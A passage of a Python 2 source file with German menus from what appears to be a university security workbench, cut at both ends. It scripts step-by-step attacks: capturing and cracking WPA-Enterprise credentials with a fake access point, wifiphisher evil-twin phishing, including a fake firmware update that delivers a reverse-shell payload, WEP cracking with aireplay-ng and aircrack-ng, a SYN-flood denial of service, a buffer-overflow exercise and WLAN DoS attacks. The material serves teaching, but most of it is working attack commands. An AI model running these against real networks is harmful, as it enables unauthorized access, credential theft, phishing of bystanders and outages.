"_openssl s_server -key private_key.pem -cert certificate.pem -accept 8989 -www"
)
execute(command)
print(
'\n Der einfache Webserver kann nun auch im Browser unter https://localhost:8989 geöffnet werden. Es wird eine Info-Seite mit verfügbaren CipherSuites angezeigt.\n\n Nun kann der Angriff auf den Server gestartet werden.\n\n'
)
##Beenden
selection = raw_input(shellCols.BLUE +
'Drücke 0 um zum Menü zurückzukehren.' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def SniffingMode():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Untermenü Opfer der Darstellung des Netzwerkverkehrs: ' +
shellCols.ENDC + '\n')
##Schritt 1
#TODO Was wird mit Host Netwerk gemeint
print(
'Stelle im ersten Schritt sicher, dass du direkten Zugriff auf das Host-Netzwerk hast.\n'
)
selection = raw_input(
shellCols.BLUE +
'\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt 2
# Hier vieleicht interactiver man kann ja auch ein netzwerk scan machen beim angrefeier und dann überprüfen ob sie überein stimmen
command = rlinput(
'Rufe nun die Konfiguration deiner IP-Netzwerkschnittstellen auf und lies dort deine IP-Adresse aus: ',
'ifconfig')
os.system(command)
print('\n')
##Schritt 3
print(
'Als Zweites musst du deine ARP-Tabelle aufrufen, um sie ohne Manipulation zu sehen. '
)
command = rlinput(
'Das Aufrufen deiner ARP-Tabelle geht mit folgendem Befehl: ',
'arp -a')
os.system(command)
print('\n')
##Schritt 3
print(
'Jetzt musst du warten, bis der Angreifer die Attacke durchgeführt hat.\n'
)
selection = raw_input(
shellCols.BLUE +
'\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt 4
command = rlinput(
'Rufe noch einmal die ARP-Tabelle auf und vergleiche sie mit der vorherigen Tabelle: ',
'arp -a')
os.system(command)
print('\n')
##Schritt 5
selection = raw_input(shellCols.BLUE +
'\nDrücke x um das Programm zu verlassen... ' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def Enterprise_Menu():
attack = True
while (attack == True):
clearScreen()
shellCols = colors.ShellColors
print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WPA/WPA2-Enterprise Passwort knacken' + shellCols.ENDC + '\n'
print(
"Neben klassischen PSK-gesicherten Netzen findet man vor allem im Firmenumfeld oft, durch einen Benutzermanagementsserver verwaltete, Enterprise-gesicherte WLAN-Netze. "
+
"Bei der Enterprise-Verschlüsselung wird zur erfolgreichen Authentifikation ein Paar aus Nutzername und dazugehörigem Passwort. Das Authentifikationsanfrage wird vom Router an einen Radiusserver weitergeleitet. "
+
"Diese Art der Absicherung von WLAN-Netzen kann für einen Angreifer besonders lukrativ sein, da das für die Authentifikation genutzten "
+
"Paar oftmals auch noch Zugang zu weiteren Systemen gewährt. Somit kann erstmal nicht nur ein nicht autorisierter Zugang zu einem WLAN-Netz "
+
"erfolgen, sondern nachfolgend noch weitere Systeme kompromittiert werden. \n"
)
print(
'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: '
+ '\n 1. Name des WLAN-Interfaces ' +
'\n 2. Die SSID, Kanalnummer und Verschlüsselung des angegriffenen Routers/Netzwerks\n'
)
#STEP 1
command = rlinput('WLAN-Interfacename ermitteln mittels: \n# ',
'ifconfig')
execute(command)
wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ")
#KILL PROCESSES
generics.kill_wifi_proc()
#STEP 2
command = rlinput(
'Die SSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ',
'airodump-ng ' + wifi_name)
execute(command)
router_ssid = raw_input("Bitte die Router SSID angeben: ")
router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ")
print('Verschlüsselung des Netzes: ' + '\n 1. WPA ' + '\n 2. WPA2 \n')
try:
selection = input(
"Die Verschlüsselung bitte hier eingeben und mit Enter bestätigen: "
)
except SyntaxError:
selection = 1
if ((selection != 1) and (selection != 2)):
print(
"Die ausgewählte Verschlüsselung existiert nicht. Bitte eine Auswahl zwischen 1 und 2 angeben."
)
selection = raw_input(
"Die Verschlüsselung bitte hier eingeben und mit Enter bestätigen: "
)
if ((selection != 1) and (selection != 2)):
print(
'Mehrere falsche Eingaben wurden erkannt. Zum Fortfahren wurde automatisch Verschlüsselung 1 gewählt!'
)
selection = 1
wpa_mode = selection
#STRIP STRINGS
wifi_name = wifi_name.strip()
router_ssid = router_ssid.strip()
router_chn = router_chn.strip()
#OVERVIEW CONFIGURATION
print("\n")
print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n'
print('WLAN-Interfacename: ' + wifi_name)
print('SSID: ' + router_ssid)
print('Kanalnummer: ' + router_chn)
if (wpa_mode == 1):
print('Verschlüsselung: WPA')
else:
print('Verschlüsselung: WPA2')
print("\n")
##################################################
## TODO Refactor fake AP Use Dispro Package
## Only Config needed
##
#SWITCHING NETWORK CONFIG
print('Anpassen der WIFI-Interfacekonfiguration des Betriebssystems.')
command = rlinput(
'Zwischenspeichern der Originalkonfiguration: \n# ',
'cp /etc/network/interfaces /etc/network/interfaces_restore')
os.system(command)
print("Anpassen der Interfaces-Konfiguration.")
exist = generics.check_string("/etc/network/interfaces",
"iface " + wifi_name + " inet")
if (exist == True):
# Check if
exist = generics.check_string(
"/etc/network/interfaces",
"iface " + wifi_name + " inet manual")
if (exit == True):
print "Interface ist schon auf manuell gesetzt. Wurde die Anwendung vielleicht das letzte mal nicht richtig bendet?\n"
else:
generics.find_replace_line("/etc/network/interfaces",
"iface " + wifi_name + " inet",
"#iface " + wifi_name + " inet")
generics.append("/etc/network/interfaces",
"iface " + wifi_name + " inet manual")
else:
generics.append("/etc/network/interfaces",
"iface " + wifi_name + " inet manual")
#RESTART Network-Manager
generics.restart_networkmanager()
print shellCols.UNDERLINE + shellCols.HEADER + "Konfigurieren des Fake-Enterprise-Routers" + shellCols.ENDC + '\n'
print("Folgende Anpassungen werden vorgenommen (hostapd-wpe.conf):")
print("Zeile 11: interface=" + wifi_name)
generics.replace_line("WIFI/hostapd-wpe.conf", 10,
"interface=" + wifi_name + "\n")
print("Zeile 14: #driver=wired")
generics.replace_line("WIFI/hostapd-wpe.conf", 13,
"#driver=wired" + "\n")
print("Zeile 25: ssid=" + router_ssid)
generics.replace_line("WIFI/hostapd-wpe.conf", 24,
"ssid=" + router_ssid + "\n")
print("Zeile 27: channel=" + router_chn)
generics.replace_line("WIFI/hostapd-wpe.conf", 26,
"channel=" + router_chn + "\n")
print("Zeile 49: wpa=" + str(wpa_mode))
generics.replace_line("WIFI/hostapd-wpe.conf", 48,
"wpa=" + str(wpa_mode) + "\n")
print("\n")
#START THE FAKE AP
command = rlinput(
'Starten des konfigurierten Fake-Enterprise-Routers und Aufzeichnung eines Authentifikationsversuchs (Liegt ein Versuch bestehend aus Challange und Response vor kann der Prozess beendet werden, wenn der AP nicht gestart werden kann muss man zusätlich in einer weiteren Consolle killall wpa_supplicant ausgeführt werden): \n# ',
'WIFI/startFakeAP.sh')
execute(command)
#WAIT FOR CHALLANGE RESPONSE PAIR
print(
"Wurde ein Authentifikationsversuch aufgezeichnet, kann der Fake-AP heruntergefahren und die Deauthenticate-Attacke beendet werden und es können folgende Parameter ausgefüllt werden(Deise müssen aus dem Log des FAKE AP entnohmen werden):"
)
challenge = raw_input(
"Challenge des Authentifikationsversuch: ").strip()
response = raw_input("Response des Authentifikationsversuch: ").strip()
#CRACK THE PWD
command = rlinput(
'Knacken des Passwortes mittels eines Wörterbuchangriffs: \n# ',
'asleap -C ' + challenge + " -R " + response + " -W WIFI/dict.txt")
execute(command)
#!!!! TODO !!!! is not Corekt
#REDO INTERFACE CONFIG
command = rlinput(
'Wiederherstellen der Originalkonfiguration: \n# ',
'mv /etc/network/interfaces_restore /etc/network/interfaces')
os.system(command)
generics.restart_networkmanager()
#END
print(
'Ende des WPA/WPA2-Enterprise-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n'
)
print('1. Zurück zum Menü \n' +
'2. Zurück zur WPA/WPA2-Enterprise-Übersicht\n' +
'0. Tutorial beenden \n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 0
if (selection == 1):
attack = False
return True
elif (selection == 2):
attack = True
#Just du magic stuff. Unicorn!!
else:
attack = False
return False
def Fake_Menu():
attack = True
while (attack == True):
clearScreen()
shellCols = colors.ShellColors
#TODO Text muss noch überarbeitet werden \"Evil Twin attack\"
print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: Fake-AP erstellen' + shellCols.ENDC + '\n'
print(
"Mit sogenannten Fake-APs versucht ein Angreifer einen WLAN-Nutzer dazu zu bringen, sich mit einer Kopie eines"
+
" Original-Access-Points zu verbinden und diesen dann durch geschicktes Phishing, Informationen vom Nutzer zu entlocken."
+
" Im Idealfall merkt der Nutzer nicht, dass er mit einem Fake-AP verbunden ist und somit Opfer einer Phishing-Attacke wurde."
+ '\n' +
"In diesen Tutorial betrachten wir drei unterschiedliche Szenarien:\n"
+
"Man in the Middle Anrgiff, Konferenz Wifi(Firmware Update) und Free Wifi"
)
print(
"Hinweis: Für die ersten beiden Szenarien werden zwei WLAN-Interfaces mit Packet-Injection-Unterstützung benötigt.\n"
+ "Wählen Sie nun das Szenario aus, dass Sie testen möchten. \n")
print('1. \"Man in the Middle\" \n' +
'2. \"Firmware Update\" scenario\n' +
'3. \"Free Wifi\" scenario\n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 0
if (selection == 1):
#START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden
print(
"Hierbei wird der zu angreifende Access-Point geklont. Anschließend sendet man Deauthentication-Pakete"
+
" im Namen des legitimen Access-Points, dadurch werden die Verbindungen der Clients zum Legitimen AP getrennt."
+
" Da zum einem ein AP bereitgestellt werden muss, zum Anderen die Deauthentication-Pakete gesendet"
+
" werden müssen, braucht man zwei Wlan-Interfaces. Wahrscheinlich verbinden sich diese Clients nun mit der Fake-AP \” Evil-Twin\”."
+
" Diese Clients werden nun auf eine Phishing-Seite weitergeleitet, wo Sie wegen eines Route-update aufgefordert werden"
+ " das WPA-Passwort neu einzugeben.")
command = rlinput(
'Starten des wifiphisher und durchführen des Angriffes: \n# ',
'wifiphisher')
execute(command)
#END
elif (selection == 2):
#START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden
print(
"Der genannte Angriff ist sehr nützlich bei Verschlüsselten Access-Points (z.B. bei Konferenzen)"
+
" wo das Passwort bekannt ist. Das \"Plugin Update\" Szenario stellt einen einfachen weg "
+
"zur Verfügung, die Opfer dazu zu bewegen, eine Schadsoftware auszuführen "
+ "(z.B. mit einem reverse shell payload).\n " +
"Für diesen Angriff braucht man einen payload, dieser wird im Projekt mit der Datei \"payload\" bereitgestelt.\n "
+
"Für diesen Angriff verwenden wir das Tool Wifiphisher. Wir übergebn ihn die "
+
"parameter --essid \"Name des AP \", mit -T das Szenario und mit -pK das Passwort. "
+
"Bei der Frage, welcher Payload verwendet werden muss, muss man \"payload\" angeben."
)
command = rlinput(
'Starten von wifiphisher und durchführen des Angriffes: \n# ',
'wifiphisher --essid CONFERENCE_WIFI_TRAP -T plugin_update -pK 12345678'
)
execute(command)
#END
elif (selection == 3):
#START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden
print(
"Hier greift man kein Netzwerk an. Man erstellt hier ein offenes"
+
" Wifi Netzwerk mit dem Namen(ESSID) \”FREE WI-FI Trap\” dieses leitet daraufhin den Benutzer auf"
+
" eine vorgegebene Seite weiter, wo man um ins Internet zu kommen, sich anmelden muss. \n"
)
command = rlinput(
'Starten von wifiphisher und durchführen des Angriffes: \n# ',
'wifiphisher --nojamming --essid "FREE_WI-FI_Trap" -T oauth-login'
)
execute(command)
#END
#ReStart Networkmanager
generics.restart_networkmanager()
print(
'Ende des Fake-AP-Tutorials erreicht! \n Bitte wählen um fortzufahren: \n'
)
# REset NEwtork networing stop network-manager stop "" start "" start
print('1. Zurück zum Menü \n' + '2. Zurück zur Fake-AP-Übersicht\n' +
'0. Fake-AP Tutorial beenden \n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 0
if (selection == 1):
attack = False
return True
elif (selection == 2):
attack = True
else:
attack = False
return False
#FINISHED FAKEAP ATTACK
def WEP_Open():
attack = True
while (attack == True):
clearScreen()
shellCols = colors.ShellColors
print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WEP-Passwort knacken' + shellCols.ENDC + '\n'
print(
"WEP (Wired Equivalent Privacy) ist ein Standard für die Verschlüsselung und Authentifizierung von WLANs aus dem Jahr 1999. "
+
"Ziel war es, Funknetzwerke genauso sicher, wie kabelgebundene Netzwerke zu machen. Um dieses Ziel zu erreichen, bietet WEP Mechanismen "
+
"für die Authentifizierung, Verschlüsselung und Integritätsprüfung. WEP enthält grundlegende Design-Schwächen und gilt seit 2001 als geknackt."
+
"Für die Authentifizierung der Clients am Access Point sieht WEP zwei Varianten vor, die Open-System-Authentication oder die Shared-Key-"
+ "Authentication." +
"Das nachfolgende Tutorial unterstützt beim Durchführen eines Angriffes auf einen WEP-Open-gesicherten Router. \n"
)
print(
'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: '
+ '\n 1. Name und MAC des WLAN-Interfaces ' +
'\n 2. Die BSSID, SSID und Kanalnummer des angegriffenen Routers/Netzwerks\n'
)
#STEP 1
command = rlinput('WLAN-Interfacename und MAC ermitteln mittels: \n# ',
'ifconfig')
execute(command)
wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ")
wifi_mac = raw_input("Interface-MAC angeben: ")
#KILL PROCESSES
generics.kill_wifi_proc()
#STEP BETWEEN 1 AND 2
do5GHZ = generics.Is5GHz()
str5ghz = ""
if (do5GHZ):
str5ghz = " --band a "
#STEP 2
command = rlinput(
'Die BSSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ',
'airodump-ng ' + str5ghz + wifi_name)
execute(command)
router_ssid = raw_input("Bitte die Netzwerk SSID angeben: ")
router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ")
router_bssid = raw_input("Bitte die Router BSSID angeben: ")
#STRIP STRINGS
wifi_name = wifi_name.strip()
wifi_mac = wifi_mac.strip()
router_ssid = router_ssid.strip()
router_chn = router_chn.strip()
router_bssid = router_bssid.strip()
#OVERVIEW CONFIGURATION
print("\n")
print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n'
print('WLAN-Interfacename: ' + wifi_name)
print('WLAN-Interface-MAC: ' + wifi_mac)
print('SSID: ' + router_ssid)
print('Kanalnummer: ' + router_chn)
print('BSSID: ' + router_bssid)
if (do5GHZ):
print('Band: 5GHz')
else:
print('Band: 2.4GHz')
print("\n")
#RECORD TRAFFIC
print("Jetzt erst beginnt der tatsächliche Angriff: \n")
print('Wird ein WEP-Open- oder ein WEP-Shared-Netz angegriffen: \n')
print('1. WEP-Open \n' + '2. WEP-Shared\n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = True
if (selection == 1):
wep_open = True
else:
wep_open = False
if (wep_open == False):
success = False
while (success != True):
success = WEP_Shared(wifi_name, wifi_mac, router_ssid,
router_bssid, router_chn)
command = rlinput(
'Aufnahme des Netzwerkverkehrs (Im Hintergrund geöffnet lassen): \n# ',
'airodump-ng -c ' + router_chn + str5ghz + ' -w ' + router_ssid +
' --bssid ' + router_bssid.replace(" ", "\s") + ' ' + wifi_name)
execute(command)
#INJECTION TEST
command = rlinput(
'Überprüfung ob Netzwerk angreifbar ist. (Nach erfolgter Prüfung kann dieses Fenster geschlossen werden.): \n# ',
'aireplay-ng -9 -e ' + router_ssid + ' -a ' +
router_bssid.replace(" ", "\s") + ' ' + wifi_name)
execute(command)
#SEND AUTH PACKETS
command = rlinput(
'Senden von authentication-Paketen, um mehr Netzwerkverkehr zu generieren (Im Hintergrund geöffnet lassen): \n# ',
'aireplay-ng -1 6 -o 1 -q 1 -e ' + router_ssid + ' -a ' +
router_bssid.replace(" ", "\s") + ' -h ' + wifi_mac + ' ' +
wifi_name)
execute(command)
#CAPTURE ARP-REQ
command = rlinput(
'Abfangen und erneutes übertragen von ARP-Paketen, um mehr Netzwerkverkehr zu generieren (Kann im Hintergrund geöffnet bleiben. Falls verbundene Clients nicht mehr auf Webseiten zugreifen können, sollte dieser Prozess gestoppt werden.): \n# ',
'aireplay-ng -3 -b ' + router_bssid + ' -h ' + wifi_mac + ' ' +
wifi_name)
execute(command)
#CALCULATE KEY
print(
"Nun kann während die anderen Prozesse im Hintergrund laufen das Knacken des Keys angestoßen werden. Sobald genug Informationen zum Knacken des Keys vorhanden sind, wird der Prozess automatisch mit der Extrahierung beginnen."
)
#Show list of CAP-Files
filenamestring = showCAPfiles(router_ssid)
command = rlinput(
'Das WEP-Passwort kann nun mit Hilfe des aufgenommenen Verkehrs ermittelt werden. Wenn ein Key gefunden wurde wird dieser ausgegeben. Solange muss der Prozess weiter laufen: \n# ',
'aircrack-ng -b ' + router_bssid.replace(" ", "\s") + ' ' +
filenamestring)
execute(command)
#ReStart Networkmanager
generics.restart_networkmanager()
#END
print(
'Ende des WEP-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n'
)
print('1. Zurück zum Menu \n' + '2. Zurück zur WEP-Übersicht\n' +
'0. Tutorial beenden \n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 0
if (selection == 1):
attack = False
return True
elif (selection == 2):
attack = True
#Just du magic stuff. Unicorn!!
else:
attack = False
return False
def SYNFLOOD_Menu():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print shellCols.UNDERLINE + shellCols.HEADER + 'SYN-Flooding Angriff' + shellCols.ENDC + '\n'
##IP-Adresse des verwendeten Adapters herausfinden
print(
'In diesem Tutorial wird eine Denial of Service Attacke via SYN- Flooding ausgeführt.'
)
print(
'Zuerst muss die IP-Adresse des Interfaces angegeben werden, durch welche der Angriff ausgeführt werden soll,'
)
command = rlinput(
'Hierzu lassen wird zuerst alle verfügbaren Interfaces anzeigen. \n# ',
'ifconfig')
execute(command)
##IP-Tables mit der eigenen IP-Adresse erstellen
print(
'Um die SYN-Flood Attacke richtig auszuführen müssen die ausgehenden RES-Pakete geblockt werden'
)
print('Hierzu wird ein Eintrag in den IP-Tables erstellt')
attipadr = rlinput('Eigene IP Adresse(IPv4): ')
command = rlinput(
'IP-Tables Eintrag: \n# ', 'iptables -A OUTPUT -p tcp -s ' +
attipadr + ' --tcp-flags RST RST -j DROP')
os.system(command)
print('\n')
command = rlinput('Wireshark Öffnen: \n# ', ' wireshark &')
os.system(command)
clearScreen()
print(
"Gebe die IP-Adresse des Opfers in deinen Browser ein, um den Effekt des Denial-of-Service Angriffs zu sehen.\n"
)
raw_input("Drücke Enter um fortzufahren.")
synLoop = True
while (synLoop):
##Informationen des Opfers eingeben
attackedHost = raw_input('Bitte IP des Opfers angeben(IPv4): ')
attackedPort = int(
raw_input('Bitte den Port des Opfers eingeben: '))
print(
'Der folgende Ausdruck zeigt in Wireshark die Einträge, welche beide IP Adressen beinhalten. '
)
print('ip.addr == ' + attipadr + ' && ip.addr == ' + attackedHost)
selection = raw_input(shellCols.BLUE +
'\nDrücke ENTER um den Angriff zu starten ' +
shellCols.ENDC)
flooding(attackedHost, attackedPort)
print('Der SYN Flooding Angriff wurde abgeschlossen.')
selection = raw_input(
shellCols.BLUE +
"\nGeben Sie y ein um einen weiteren SYN-Flood Angriff zu starten oder ENTER um das Programm zu beenden: "
+ shellCols.ENDC)
if selection == "Y" or selection == "y":
synLoop = True
else:
synLoop = False
selection = raw_input(
shellCols.BLUE + '\nDrücke Enter um das Programm zu verlassen...' +
shellCols.ENDC)
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
def do():
shellCols = colors.ShellColors
showMenu = True
while (showMenu):
clearScreen()
print(shellCols.UNDERLINE + shellCols.HEADER +
'Untermenü Zweites Buffer Overflow Beispiel ' + shellCols.ENDC +
'\n')
##Schritt 1
print(
'Als erstes wollen wir den Quellcode zu einem ausführbaren Programm machen. '
)
command = rlinput(
'Dafür Kompilieren wir den Quellcode mit dem GNU Kompiler mit folgendem Befehl: ',
'gcc -ggdb BufferOverflow/SecondExample.c -o BufferOverflow/SecondExample'
)
os.system(command)
print('\n')
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenü')
showMenu = False
break
##Schritt 2
print(
'Schaue dir nun den Quellcode von SecondExample.c genau an und versuche nachzuvollziehen, was dort gemacht wird. Solltest du Hilfe benoetigen, schau dir die Erklaerung im PDF-Handbuch der THI Security Workbench in Kapitel Buffer Overflow an.\n'
)
print(
'Nachdem du den Code verstanden hast, schliesse bitte mit ":quit" und anschliessend mit Enter. \n'
)
command = rlinput(
'Mit dem folgendem Befehl wird SecondExample.c geoeffnet: ',
'view BufferOverflow/SecondExample.c \n')
execute(command)
print('\n')
print(
'Jetzt wird der GNU Debugger in einem eigenen Terminal gestartet, um den Assembler Code des gerade eben erstellten Programms SecondExample zu debuggen. In diesem Terminal werden die Befehle gegeben, die zum Debuggen benutzt werden muessen.\n'
)
command = rlinput('Starte den GNU Debugger mit folgendem Befehl: ',
'gdb BufferOverflow/SecondExample')
execute(command)
print('\n')
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmenue')
showMenu = False
break
##Schritt 3
print(
'Wir moechten nun genauer betrachten, welcher Bereich im Stack veraendert wird bei einer Uebergabe des Eingangsparameter. Deshalb setzen wir einen Breakpoint bei Line 10 mit folgendem Befehl: break 10 \n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 4
print(
'Nun wird SecondExample gestartet mit folgendem Befehl: run <Uebergabeparameter> z.B. run AAAAAAAA ->Dez. von "A =65"\n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 5
print(
'Aus SecondExample.c ist ersichtlich, dass das Ueberschreiben der Variable "authflag" zum gesuchten Loesungswort fuehrt, jedoch faellt die zusaetzliche Variable "checkForHack" auf (warum?). Das Ziel ist wie bei FirstExample "authflag" zu uebeschreiben, deswegen moechten wir vorerst herausfinden, wo im Stack die Variable zu finden ist.\n'
)
print(
'\nMit folgendem Befehl sehen wir die Startadresse der Eingabe-Variable "buffer": print &buffer'
)
print(
'\nMit folgendem Befehl sehen wir die Adresse der gesuchten Variable: print &authflag'
)
print(
'\nMit folgendem Befehl sehen wir die Adresse der zusaetzlich aufgetauchten Variable: print &checkForHack'
)
print(
'\nMache dir gedanken, welchen Einfluss die Variable "checkForHack", im zusammenhang mit der dazugehörigen Adresse im Stack, hat.'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 6
print(
'Es ist ausserdem zu erkennen, dass das Programm beim Breakpoint unterbrochen wurde und der Uebergabeparameter im Stack noch nicht abgelegt wurde, deshalb schauen wir den Stack mit folgendem Befehl vorher genauer an: x/500b $sp \n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 7
print(
'Mit folgendem Befehl wird das Programm um einen Schritt fortgesetzt: next \n'
)
print('Der Uebergabeparameter wird daraufhin im Stack abgelegt.\n')
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 8
print(
'Nun ist es Zeit, den Stack mit folgendem Befehl nochmal genauer anzuschauen: x/500b $sp \n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 9
print(
'Abhaengig vom Uebergabeparameter ist nun der ASCII-Wert (dezimal) im Stack zu finden. \n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 10
print(
'Zaehle oder berechne, anhand der vorher angezeigten Adressen, nun wie viele Stellen benoetigt werden, um die Variable "authflag" zu ueberschreiben und tippe "q" ein. \n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurueck zum Hauptmen ')
showMenu = False
break
##Schritt 11
print(
'Schliesse nun die Assembler Ansicht mit folgendem Befehl: quit und anschliessend mit Enter.\n'
)
selection = raw_input(
shellCols.BLUE +
'\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... '
+ shellCols.ENDC + '\n')
if (selection == "x"):
print('Gehe zurück zum Hauptmenue')
showMenu = False
break
##Schritt 12
print(
'Starte nun das ausfuehrbare Programm SecondExample aus dem Unterordner BufferOverflow und gib als Eingabewert einen String mit so vielen Stellen mit, dass die Daten des Bankkunden noch nicht mit ausgegeben werden.\n'
)
command = rlinput('Starte SecondExample mit folgendem Befehl: ',
'./BufferOverflow/SecondExample <Deine Eingabe>')
os.system(command)
print('\n')
##Schritt 13
print(
'Starte nun das ausfuehrbare Programm SecondExample aus dem Unterordner BufferOverflow und gib als Eingabewert einen String mit so vielen Stellen mit, dass die Daten des Bankkunden mit ausgegeben werden.\n'
)
command = rlinput('Starte SecondExample mit folgendem Befehl: ',
'./BufferOverflow/SecondExample <Deine Eingabe>')
os.system(command)
print('\n')
print(
'Warum hat die anscheinend richtige Eingabe nicht zum gewuenschten Ergebnis gefuehrt?\n'
)
##Schritt 14
print('Das Tutorial ist hiermit beendet.\n')
selection = raw_input(shellCols.BLUE +
'\nDruecke x um das Programm zu verlassen... ' +
shellCols.ENDC)
print('Gehe zurueck zum Hauptmenü')
showMenu = False
break
def DOS_Menu():
attack = True
while (attack == True):
clearScreen()
shellCols = colors.ShellColors
print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WLAN DoS-Attacken' + shellCols.ENDC + '\n'
print(
"Denial-of-service-Angriffe sind ein beliebtes Mittel, um die Verfügbarkeit eines Dienstes anzugreifen. Neben den bekannten Angriffen, "
+
"die in IP-Nezten bspw. auf Server abzielen, gibt es auch Angriffe auf die Verfügbarkeit von WLAN-Netzen. Das nachfolgende Tutorial "
+
"ermöglicht die Durchführung einiger gängiger DoS-Attacken auf WLAN-Netze"
)
print(
'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: '
+ '\n 1. Name des WLAN-Interfaces ' +
'\n 2. Die BSSID und Kanalnummer des angegriffenen Routers/Netzwerks\n'
)
#STEP 1
command = rlinput('WLAN-Interfacename ermitteln mittels: \n# ',
'ifconfig')
execute(command)
wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ")
#MONITOR MODE
generics.monitor_mode(wifi_name)
used_interface = wifi_name
#KILL PROCESSES
generics.kill_wifi_proc()
#STEP 1 Check again
wifi_name = generics.check_wifi_name(wifi_name)
used_interface = wifi_name
#STEP 2
command = rlinput(
'Die BSSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ',
'airodump-ng ' + wifi_name)
execute(command)
router_bssid = raw_input("Bitte die Router BSSID angeben: ")
router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ")
#STRIP STRINGS
wifi_name = wifi_name.strip()
router_bssid = router_bssid.strip()
router_chn = router_chn.strip()
#OVERVIEW CONFIGURATION
print("\n")
print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n'
print('WLAN-Interfacename: ' + wifi_name)
print('BSSID: ' + router_bssid)
print('Kanalnummer: ' + router_chn)
print("\n")
print('\n')
print(
'Mit diesem Tutorial können folgende DoS-Attacken durchgeführt werden: '
+ '\n 1. Michael shutdown exploitation ' +
'\n 2. Beacon flooding ' + '\n 3. Authentication DoS ' +
'\n 4. Deauthentication DoS \n')
try:
selection = input(
"Die Auswahl bitte hier eingeben und mit Enter bestätigen: ")
except SyntaxError:
selection = 1
if ((selection != 1) and (selection != 2) and (selection != 3)
